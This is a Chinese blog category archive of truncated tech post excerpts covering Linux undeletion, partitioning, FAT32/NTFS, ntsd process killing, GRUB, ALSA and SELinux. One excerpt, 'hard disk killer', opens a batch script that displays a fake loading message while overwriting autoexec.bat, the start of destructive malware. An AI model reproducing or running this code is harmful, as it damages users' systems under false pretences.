Category Archives: 电脑黑客

浅谈Linux文件系统反删除方法

作为一个多用户、多任务的操作系统,Linux下的文件一旦被删除,是难以恢复的。尽管删除命令只是在档节点中作删除标记,并不真正清除文件内容,但是其它用户和一些有写盘动作的进程会很快覆盖这些资料。不过,对于家庭单机使用的Linux,或者误删档后及时补救,还是可以恢复的。   1、Ext2文件系统结构的简单介绍   在Linux所用的Ext2文件系统中,文件是以块为单位存储的,默认情况下每个块的大小是1K,不同的块以块号区分。每个档还有一个节点,节点中包含有档所有者,读写权限,文件类型等信息。对于一个小于12个块的档,在节点中直接存储档数据块的块号。如果档大于12个块,那么节点在12个块号之后存储一个间接块的块号,在这个间接块号所对应的块中,存储有256个档数据块的块号(Ext2fs中每个块号占用4字节,这样一个块中所能存储的块号就是1024/4=256)。如果有更大的档,那么还会在节点中出现二级间接块和三级间接块。   2、恢复被误删档的方法   大多数Linux发行版都提供一个debugfs工具,可以用来对Ext2文件系统进行编辑操作。不过在使用这个工具之前,还有一些工作要做。   首先以只读方式重新挂载被误删的档所在分区。使用如下命令:(假设文件在/usr分区)   mount -r -n -o remount /usr   -r表示只读方式挂载;-n表示不写入/etc/mtab,如果是恢复/etc上的档,就加上这个参数。如果系统说xxx partion busy,可以用fuser命令查看一下是哪些进程使用这个分区上的?n:   fuser -v -m /usr   如果没有什么重要的进程,用以下命令停掉它们:   fuser -k -v -m /usr   然后就可以重新挂载这些文件系统了。   如果是把所有的档统一安装在一个大的/分区当中,可以在boot提示符下用linux single进入单用户模式,尽量减少系统进程向硬盘写入资料的机会,要不干脆把硬盘挂在别的机器上。另外,恢复出来的资料不要写到/上面,避免破坏那些有用的资料。如果机器上有dos/windows,可以写到这些分区上面:   mount -r -n /dev/hda1 /mnt/had   然后就可以执行debugfs:(假设Linux在 /dev/hda5)   #debugfs /dev/hda5   就会出现debugfs提示符debugfs:   使用lsdel命令可以列出很多被删除的文件的信息:   debugfs:lsdel … Continue reading

Posted in 电脑黑客 | Leave a comment

应该怎样给硬盘分区

在安装Linux前,你可能真很想知道什么是硬盘的分区。你关心这个是因为你不想删除你的Windows分区,你想让它们处于不同的分区,实现双启动。这就意味着,Windows在一个分区,而Linux在另外一个分区。通常你不会将Linux安装在你Windows分区的剩余空间上。将Linux安装在Windows分区上是可能的,但我们不推荐它。 如果你计划双启动(Linux和Windows在同一部计算机上),首先使用DOS/Windows工具FDISK制作Windows分区,留一些空间给Linux。Linux安装程序会在安装Linux时找到未使用空间,那时你可以给Linux分区,并格式化它。 将Windows分区设为主分区,并且设为可启动,安装,配置,在安装Linux前测试你的Windows系统。如果你只打算运行Linux,你只需要一块没用过的硬盘就行了。 你可以只给Linux一个分区(如果双启动你需要再给Windows一个分区)。但是给Linux多个分区会更好一点,这样你就可以将用户数据和操作系统分离开来。这样,如果什么地方出错,或者你不得不格式化硬盘,或重装操作系统,你就不会丢失用户的数据(如果在安装时你跳过”重新格式化”,你可以完全重装操作系统而不会丢失保存在/home目录下的数据。前提是/home必须在它自己的分区上)。 安装Linux时,安装程序会问要求你给剩余的硬盘空间进行分区。有很多种可能的选择,取决于你的硬盘空间,要求和口味。我喜欢这样为Linux分区(以2G的硬盘为例): 安装点(mount point) 类型(type) 大小(size) / ext2 300 MB /usr ext2 1200 MB /home ext2 380 MB swap swap 120 MB 在上面的例子中,我给root分区300M空间,用来安装Linux操作系统。给安装点为/usr的分区1200M空间,用来存放用户的程序(不是Linux发行版本带的程序,而是稍后我自己装的程序,例如StarOffice等)。我给安装点为/home的分区380M空间,用来存放用户的设置和数据。我给操作系统120M空间用于虚拟内存(在硬盘上虚拟的内存空间,也称为交换区)。如果你的内核版本低于2。2(RedHat5.2以前的版本),你的交换区不能大于127M。确定交换区大小的原则是:交换区应该是内存大小2倍。如果你需要更多的交换区空间(例如你的内存很大,或是你需要运行数据结构很大的用户程序),你可以将交换区设的更大一点,或是稍后在增加一个交换区文件。 2G的空间对喜欢运行很多程序的用户来说足够了(这是因为Linux比Windows下相同的程序要小的原因),但是,如果你想要安装Linux光碟上的所有东西,2G显然是不够的。我的经验是,不管硬盘有多大,最后总是装的满满的,而我总是后悔硬盘不够大 J 。 如果我的硬盘确实没有足够的空间,我可能会考虑两个分区的安装方式(硬盘空间小于650M): 安装点(mount point) 类型(type) 大小(size) / ext2 600 MB swap swap … Continue reading

Posted in 电脑黑客 | Leave a comment

FAT32与NTFS有何区别undefined

FAT16:我们以前用的DOS、Windows 95都使用FAT16文件系统,现在常用的 Windows 98/2000/XP等系统均支持FAT16文件系统。它最大可以管理大到2GB的分区,但每个分区最多只能有65525个簇(簇是磁盘空间的配置单位)。随着硬盘或分区容量的增大,每个簇所占的空间将越来越大,从而导致硬盘空间的浪费。 FAT32:随着大容量硬盘的出现,从Windows 98开始,FAT32开始流行。它是FAT16的增强版本,可以支持大到2TB(2048GB)的分区。FAT32使用的簇比FAT16小,从而有效地节约了硬盘空间。 NTFS:微软Windows NT内核的系列操作系统支持的、一个特别为网络和磁盘配额、文件加密等管理安全特性设计的磁盘格式。随着以NT为内核的 Windows 2000/XP的普及,很多个人用户开始用到了NTFS。NTFS也是以簇为单位来存储数据文件,但NTFS中簇的大小并不依赖于磁盘或分区的大小。簇尺寸的缩小不但降低了磁盘空间的浪费,还减少了产生磁盘碎片的可能。NTFS支持文件加密管理功能,可为用户提供更高层次的安全保证。 文件分配表(FAT) 一种供MS-DOS及其它Windows操作系统对文件进行组织与管理的文件系统。文件分配表(FAT)是当您使用FAT或FAT32文件系统对特定卷进行格式化时,由Windows所创建的一种数据结构。Windows将与文件相关的信息存储在FAT中,以供日后获取文件时使用。 FAT32 一种从文件分配表(FAT)文件系统派生而来的文件系统。与FAT相比,FAT32能够支持更小的簇以及更大的容量,从而能够在FAT32卷上更为高效的分配磁盘空间。 NTFS文件系统 一种能够提供各种FAT版本所不具备的性能、安全性、可靠性与先进特性的高级文件系统。举例来说,NTFS通过标准事务日志功能与恢复技术确保卷的一致性。如果系统出现故障,NTFS能够使用日志文件与检查点信息来恢复文件系统的一致性。在Windows 2000和Windows XP中,NTFS还能提供诸如文件与文件夹权限、加密、磁盘配额以及压缩之类的高级特性。 在NTFS、FAT与FAT32间进行选择 在运行 Windows XP的计算机上,您可以在三种面向磁盘分区的不同文件系统--NTRS、FAT和FAT32--中加以选择。其中,NTFS是强力推荐您使用的文件系统,与FAT或FAT32相比,它具有更为强大的功能,并且包含Active Directory及其它重要安全特性所需的各项功能。只有选择NTFS作为文件系统,您才可以使用诸如Active Directory和基于域的安全性之类特性。 NTFS和FAT32的选择 Win 2000 可以同时支持FAT32和NTFS两种文件系统,FAT32长于与Win 9X的兼容性,NTFS长于系统安全性。在满足应用的前提下,怎样设置文件系统才能充分发挥Win 2000的特性呢?在讨论这个问题之前,我们先来看一下FAT32和NTFS两种文件系统各有哪些特点。 FAT32文件系统 在推出FAT32文件系统之前,通常PC机使用的文件系统是FAT16。像基于MS-DOS,Win 95等系统都采用了FAT16文件系统。在 Win 9X下,FAT16支持的分区最大为2GB。我们知道计算机将信息保存在硬盘上称为“簇”的区域内。使用的簇越小,保存信息的效率就越高。在 FAT16的情况下,分区越大簇就相应的要增大,存储效率就越低,势必造成存储空间的浪费。并且随着计算机硬件和应用的不断提高,FAT16文件系统已不能很好地适应系统的要求。在这种情况下,推出了增强的文件系统FAT32。同FAT16相比,FAT32主要具有以下特点: 1. 同FAT16相比FAT32最大的优点是可以支持的磁盘大小达到2TB(2047GB),但是不能支持小于512MB的分区。基于FAT32的Win 2000可以支持分区最大为32GB;而基于 FAT16的Win … Continue reading

Posted in 电脑黑客 | Leave a comment

一个几乎清除所有进程的命令 [转]

怎么才能关掉一个用任务管理器关不了的进程? 杀进程很容易,随便找个工具都行。比如IceSword。关键是找到这个进程的启动方式,不然下次重启它又出来了。顺便教大家一招狠的。其实用Windows自带的工具就能杀大部分进程:   c:>ntsd -c q -p PID   只有System、SMSS.EXE和CSRSS.EXE不能杀。前两个是纯内核态的,最后那个是Win32子系统,ntsd本身需要它。ntsd从 2000开始就是系统自带的用户态调试工具。被调试器附着(attach)的进程会随调试器一起退出, 所以可以用来在命令行下终止进程。使用ntsd自动就获得了debug权限,从而能杀掉大部分的进程。ntsd会新开一个调试窗口,本来在纯命令行下无法控制,但如果只是简单的命令,比如退出(q),用 -c参数从命令行传递就行了。NtsdNtsd 按照惯例也向软件开发人员提供。只有系统开发人员使用此命令。有关详细信息,请参阅 NTSD 中所附的帮助文件。用法:开个cmd.exe窗口,输入:   ntsd -c q -p PID   把最后那个PID,改成你要终止的进程的ID。如果你不知道进程的ID,任务管理器->进程选项卡->查看->选择列->勾上"PID(进程标识符)",然后就能看见了。

Posted in 电脑黑客 | Leave a comment

硬盘杀手

@echo off rem This program is dedecated to a very special person that does not want to be named. :start cls echo PLEASE WA99v WHILE PROGRAM LOADS . . . call attrib -r -h c:autoexec.bat >nul echo @echo off >c:autoexec.bat … Continue reading

Posted in 电脑黑客 | Leave a comment

[转]Gentoo下的多音频流完整解决方案

ChangLog 2005.04.23 skype我不再用静态编译的了,因为中文字体很难看,而且不能改变。之前segfault可能跟我的输入法scim有关,现在其实仍然和scim-qtimm有点冲突,不过在启动脚本里加一句 export QT_IM_MODULE=xim就没事了。顺便说一下,scim其实是不错的输入法,冲突是因为之前的gcc编译器编译出来的c++程序的ABI不统一 2005.03.27 stardict部分作了点改动,不需要将esound加入default运行级别 2005.03.25 原文发表于www.linuxsir.org gentoo版 正文 本文试阐述在alsa环境下多个进程共享声卡的问题以及具体如何通过alsa让skype和其他程序同时使用声卡。本文可以看作是笔者的个人经验介绍。同时有些信息翻译自一些英文资料。笔者的声卡是AC'97(intel8x0),系统是gentoo, 内核2.6.11-nitro0, KDE3.4(split ebuild,arts-3.4.0),alsa-driver, alsa-utils, alsa-oss均为1.0.8,skype是1.0.0.20,mplayer是1.0pre6-3.4.3-20050110,gaim是1.2.0, realplayer是10.0.2.608(Gold),xmms是1.2.10,stardict 2.4.4(安装了WyabdcRealPeopleTTS),flash plugin 版本7.0.25.0。注意本文不涉及如何安装alsa驱动的问题,请参阅其他资料。实现多音频还可以使用http://www.opensound.com的商业驱动。不过是close-sourced,以前还是要收钱的。现在虽然个人使用已经免费(free)了,但总归是不自由(free)的。好了,闲话少叙,我们来切入正题。 先来看一看一些背景知识 首先要了解Linux有两种不同的声音系统 OSS (Open Sound System) 旧的.对于44100 Hz, 立体声(stereo), 16-bit 音频与一般的声卡及要求它可以工作的很好. 但不足以胜任专业级的音频处理工作。 很多旧的软件都只能使用OSS。 OSS系统中通常有下列设备文件/dev/audio /dev/dsp /dev/midi /dev/mixer /dev/music /dev/sequencer等等 … Continue reading

Posted in 电脑黑客 | Leave a comment

GRUB入门

GRUB入门 什么是 GRUB? GRUB 是引导装入器 -- 它负责装入内核并引导 Linux 系统。GRUB 还可以引导其它操作系统,如 FreeBSD、NetBSD、OpenBSD、GNU HURD 和 DOS,以及 Windows 95、98、NT 和 2000。尽管引导操作系统看上去是件平凡且琐碎的任务,但它实际上很重要。如果引导装入器不能很好地完成工作或者不具有弹性,那么就可能锁住系统,而无法引导计算机。另外,好的引导装入器可以给您灵活性,让您可以在计算机上安装多个操作系统,而不必处理不必要的麻烦。 GRUB 是一个很棒的引导装入器。它有许多功能,可以使引导过程变得非常可靠。例如,它可以直接从 FAT、minix、FFS、ext2 或 ReiserFS 分区读取 Linux 内核。(AIX、SUN的系统?我还不知道能不能支持)这就意味着无论怎样它总能找到内核。另外,GRUB 有一个特殊的交互式控制台方式,可以让您手工装入内核并选择引导分区。这个功能是无价的:假设 GRUB 菜单配置不正确,但仍可以引导系统。哦,对了 -- GRUB 还有一个彩色引导菜单 Linux 世界在很长一段时间里一直使用 LILO 引导装入器,而且它可以让上百万的 Linux 用户引导系统。是的,的确是这样,LILO 很有效。但是,LILO 的维修率很高,而且很不灵活。与其花很多时间来描述 … Continue reading

Posted in 电脑黑客 | Leave a comment

Jargon Buster

Glossary [color=Red]a11y[/color] [size=2]An abbreviation for "accessibility," frequently used in programming to avoid unnecessary typing and misspelling. Accessibility is the provision of services for impaired users, such as text-to-speech translation for the visually impaired. The 11 derives from the eleven letters … Continue reading

Posted in 电脑黑客 | Leave a comment

Jargon Buster

Glossary [color=Red]a11y[/color] [size=2]An abbreviation for "accessibility," frequently used in programming to avoid unnecessary typing and misspelling. Accessibility is the provision of services for impaired users, such as text-to-speech translation for the visually impaired. The 11 derives from the eleven letters … Continue reading

Posted in 电脑黑客 | Leave a comment

Fedora Core 5 SELinux FAQ

Karsten Wade Chad Sellers Francesco Tombolini Copyright © 2004, 2005 Red Hat, Inc., Karsten Wade Copyright © 2006 Chad Sellers, Paul W. Frields Copyright (c) 2006 by Red Hat, Inc. and others. This material may be distributed only subject to … Continue reading

Posted in 电脑黑客 | Leave a comment